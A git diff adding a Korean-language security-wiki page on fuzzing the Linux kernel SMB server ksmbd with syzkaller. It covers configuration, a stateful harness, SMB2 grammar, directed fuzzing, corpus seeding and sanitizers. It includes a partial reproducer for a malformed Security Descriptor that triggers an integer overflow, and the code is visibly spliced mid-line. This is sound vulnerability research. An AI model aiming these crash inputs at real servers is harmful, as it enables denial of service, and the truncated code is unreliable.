Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md new file mode 100644 index 000000000..19e5c2d2c --- /dev/null +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -0,0 +1,219 @@ +# ksmbd 공격 표면 및 SMB2/SMB3 프로토콜 퍼징 (syzkaller) + +{{#include ../../banners/hacktricks-training.md}} + +## 개요 +이 문서는 syzkaller를 사용해 Linux in-kernel SMB 서버(ksmbd)를 테스트하고 퍼징하는 실용 기술들을 추상화해서 설명합니다. 구성 변경을 통해 프로토콜 공격 표면을 확장하고, SMB2 연산을 체이닝할 수 있는 상태 유지형 하니스(stateful harness)를 구축하며, 문법적으로 유효한 PDU를 생성하고, 약하게 커버되는 코드 경로에 변형(mutation)을 편향시켜 유효한 버그를 찾는 방법, 그리고 focus_areas와 ANYBLOB 같은 syzkaller 기능을 활용하는 방법에 중점을 둡니다. 원래 연구는 특정 CVE들을 열거하지만, 여기서는 재사용 가능한 방법론과 자신 환경에 맞게 적용할 수 있는 구체적 스니펫에 중점을 둡니다. + +대상 범위: SMB2/SMB3 over TCP. Kerberos and RDMA는 하니스 단순화를 위해 의도적으로 범위에서 제외합니다. + +--- + +## 구성으로 ksmbd 공격 표면 확장 +기본적으로 최소 구성의 ksmbd는 서버의 많은 부분을 테스트하지 않습니다. 추가 파서/핸들러를 통과하고 더 깊은 코드 경로에 도달하기 위해 다음 기능들을 활성화하세요: + +- Global-level +- Durable handles +- Server multi-channel +- SMB2 leases +- Per-share-level +- Oplocks (on by default) +- VFS objects + +이 기능들을 활성화하면 다음과 같은 모듈에서 실행이 증가합니다: +- smb2pdu.c (command parsing/dispatch) +- ndr.c (NDR encode/decode) +- oplock.c (oplock request/break) +- smbacl.c (ACL parsing/enforcement) +- vfs.c (VFS ops) +- vfs_cache.c (lookup cache) + +참고 +- 정확한 옵션은 배포판의 ksmbd userspace (ksmbd-tools)에 따라 달라집니다. /etc/ksmbd/ksmbd.conf 및 per-share 섹션을 검토하여 durable handles, leases, oplocks 및 VFS objects를 활성화하세요. +- Multi-channel과 durable handles는 상태 머신과 수명을 변경하여, 동시성 상황에서 UAF/refcount/OOB 버그를 자주 드러냅니다. + +--- + +## 퍼징을 위한 인증 및 속도 제한 조정 +SMB3는 유효한 세션이 필요합니다. 하니스에 Kerberos를 구현하면 복잡성이 증가하므로 퍼징에는 NTLM/guest를 선호하세요: + +- guest 접근을 허용하고 map to guest = bad user로 설정하여 알려지지 않은 사용자가 GUEST로 폴백되도록 하세요. +- NTLMv2를 허용하세요(비활성화되어 있다면 정책을 패치). 이렇게 하면 핸드셰이크를 단순하게 유지하면서 SMB3 코드 경로를 실행할 수 있습니다. +- 실험 시 엄격한 credit 검사를 패치하세요(post-hardening for CVE-2024-50285로 인해 동시-op 크레디팅이 더 엄격해졌습니다). 그렇지 않으면 속도 제한으로 인해 퍼징 중인 시퀀스가 너무 일찍 거부될 수 있습니다. +- 고처리량 퍼징 중 조기 거부를 피하기 위해 최대 연결 수를 늘리세요(예: 65536). + +주의: 이러한 완화는 퍼징을 용이하게 하기 위한 것뿐입니다. 프로덕션 환경에 이러한 설정을 적용하지 마세요. + +--- + +## 상태 유지 하니스: 리소스 추출 및 요청 체이닝 +SMB는 상태 기반입니다: 많은 요청이 이전 응답에서 반환된 식별자(SessionId, TreeID, FileID 쌍 등)에 의존합니다. 하니스는 응답을 파싱하여 동일한 프로그램 내에서 ID를 재사용해야 심층 핸들러에 도달할 수 있습니다(예: smb2_create → smb2_ioctl → smb2_close). + +응답 버퍼를 처리하고(+4B NetBIOS PDU 길이는 건너뜀) ID를 캐시하는 예시 스니펫: +```c +// process response. does not contain +4B PDU length +void process_buffer(int msg_no, const char *buffer, size_t received) { +uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET)); +switch (cmd_rsp) { +case SMB2_TREE_CONNECT: +if (received >= TREE_ID_OFFSET + sizeof(uint32_t)) +tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET)); +break; +case SMB2_SESS_SETUP: +// first session setup response carries session_id +if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t)) +session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET)); +break; +case SMB2_CREATE: +if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) { +persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET)); +volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET)); +} +break; +default: +break; +} +} +``` +팁 +- 인증/상태를 공유하는 fuzzer 프로세스 하나를 유지하세요: ksmbd의 전역/세션 테이블과 함께 더 나은 안정성 및 커버리지를 제공합니다. syzkaller는 ops를 async로 표시해 동시성을 주입하고 내부적으로 재실행합니다. +- Syzkaller의 실험적 기능 reset_acc_state는 전역 상태를 리셋할 수 있지만 심한 성능 저하를 초래할 수 있습니다. 대신 안정성을 우선하고 fuzzing에 집중하세요. + +--- + +## 문법 기반 SMB2 생성 (유효한 PDUs) +Microsoft Open Specifications의 SMB2 구조를 fuzzer grammar로 변환해 generator가 구조적으로 유효한 PDU를 생성하도록 하세요. 이렇게 하면 PDUs가 체계적으로 디스패처와 IOCTL 핸들러에 도달합니다. + +예시 (SMB2 IOCTL 요청): +``` +smb2_ioctl_req { +Header_Prefix SMB2Header_Prefix +Command const[0xb, int16] +Header_Suffix SMB2Header_Suffix +StructureSize const[57, int16] +Reserved const[0, int16] +CtlCode union_control_codes +PersistentFileId const[0x4, int64] +VolatileFileId const[0x0, int64] +InputOffset offsetof[Input, int32] +InputCount bytesize[Input, int32] +MaxInputResponse const[65536, int32] +OutputOffset offsetof[Output, int32] +OutputCount len[Output, int32] +MaxOutputResponse const[65536, int32] +Flags int32[0:1] +Reserved2 const[0, int32] +Input array[int8] +Output array[int8] +} [packed] +``` +이 스타일은 올바른 structure sizes/offsets를 강제하며 blind mutation에 비해 커버리지를 획기적으로 향상시킵니다. + +--- + +## Directed Fuzzing With focus_areas +현재 커버리지가 약한 특정 함수/파일에 가중치를 두기 위해 syzkaller의 실험적 focus_areas를 사용하세요. 예시 JSON: +```json +{ +"focus_areas": [ +{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0}, +{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0}, +{"weight": 1.0} +] +} +``` +이는 smbacl.c의 산술/overflow 경로를 유발하는 유효한 ACLs를 구성하는 데 도움이 됩니다. 예를 들어, 과도한 dacloffset을 가진 악의적인 Security Descriptor가 integer-overflow를 재현합니다. + +재현기 빌더 (minimal Python): +```python +def build_sd(): +import struct +sd = bytearray(0x14) +sd[0x00] = 0x00; sd[0x01] = 0x00 +struct.pack_into(' packets.json +``` + +```python +import json, os +os.makedirs("corpus", exist_ok=True) + +with open("packets.json") as f: +data = json.load(f) +# adjust indexing to your tshark JSON structure +packets = [e["_source"]["layers"]["tcp.payload"] for e in data] + +for i, pkt in enumerate(packets): +pdu = pkt[0] +pdu_size = len(pdu) // 2 # hex string length → bytes +with open(f"corpus/packet_{i:03d}.txt", "w") as f: +f.write( +f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" +) +``` +이것은 탐색을 빠르게 시작시키며 UAFs(예: ksmbd_sessions_deregister) 를 즉시 유발할 수 있고 커버리지를 몇 퍼센트 정도 끌어올린다. + +--- + +## Sanitizers: KASAN을 넘어서 +- KASAN은 힙 버그(UAF/OOB)를 탐지하는 주요 도구로 여전히 남아 있다. +- KCSAN은 이 타겟에서 종종 오탐이나 낮은 심각도의 데이터 레이스를 보고한다. +- UBSAN/KUBSAN은 배열 인덱스 의미론 때문에 KASAN이 놓치는 선언된 경계 오류를 잡아낼 수 있다. 예: +```c +id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); +struct smb_sid { +__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; +__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ +} __attribute__((packed)); +``` +Setting num_subauth = 0을 설정하면 sub_auth[-1]에 대한 in-struct OOB read가 발생하며, UBSAN의 declared-bounds 검사에 의해 포착됩니다. + +--- + +## 처리량 및 병렬성 관련 메모 +- 단일 fuzzer 프로세스(인증/상태 공유)는 ksmbd에서 훨씬 더 안정적이며, syzkaller의 internal async executor 덕분에 여전히 races/UAFs를 드러냅니다. +- 여러 VM을 사용하면 전체적으로 초당 수백 건의 SMB 명령을 여전히 처리할 수 있습니다. 함수 수준 커버리지는 fs/smb/server의 약 60%와 smb2pdu.c의 약 70% 정도 달성이 가능하지만, 이러한 지표는 상태 전환 커버리지를 충분히 반영하지 못합니다. + +--- + +## 실용 체크리스트 +- ksmbd에서 durable handles, leases, multi-channel, oplocks 및 VFS objects를 활성화하세요. +- guest 및 map-to-guest를 허용하고 NTLMv2를 수용하세요. fuzzer 안정성을 위해 credit limits를 제거하고 max connections를 늘리세요. +- SessionId/TreeID/FileIDs를 캐시하고 create → ioctl → close를 연쇄하는 stateful harness를 구축하세요. +- 구조적 유효성을 유지하기 위해 SMB2 PDUs에 대한 grammar를 사용하세요. +- focus_areas를 사용해 커버리지가 낮은 함수(예: smbacl.c의 smb_check_perm_dacl 경로)에 더 높은 비중을 부여하세요. +- 정체기를 깨기 위해 실제 pcaps에서 ANYBLOB로 시드하세요; 재사용을 위해 시드를 syz-db로 패키징하세요. +- KASAN + UBSAN로 실행하세요; UBSAN declared-bounds 리포트는 신중히 분류하세요. + +--- + +## 참고자료 +- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html +- syzkaller: https://github.com/google/syzkaller +- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 +- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 +- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db +- KASAN: https://docs.kernel.org/dev-tools/kasan.html +- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html +- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html +- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ +- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures +- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes + +{{#include ../../banners/hacktricks-training.md}}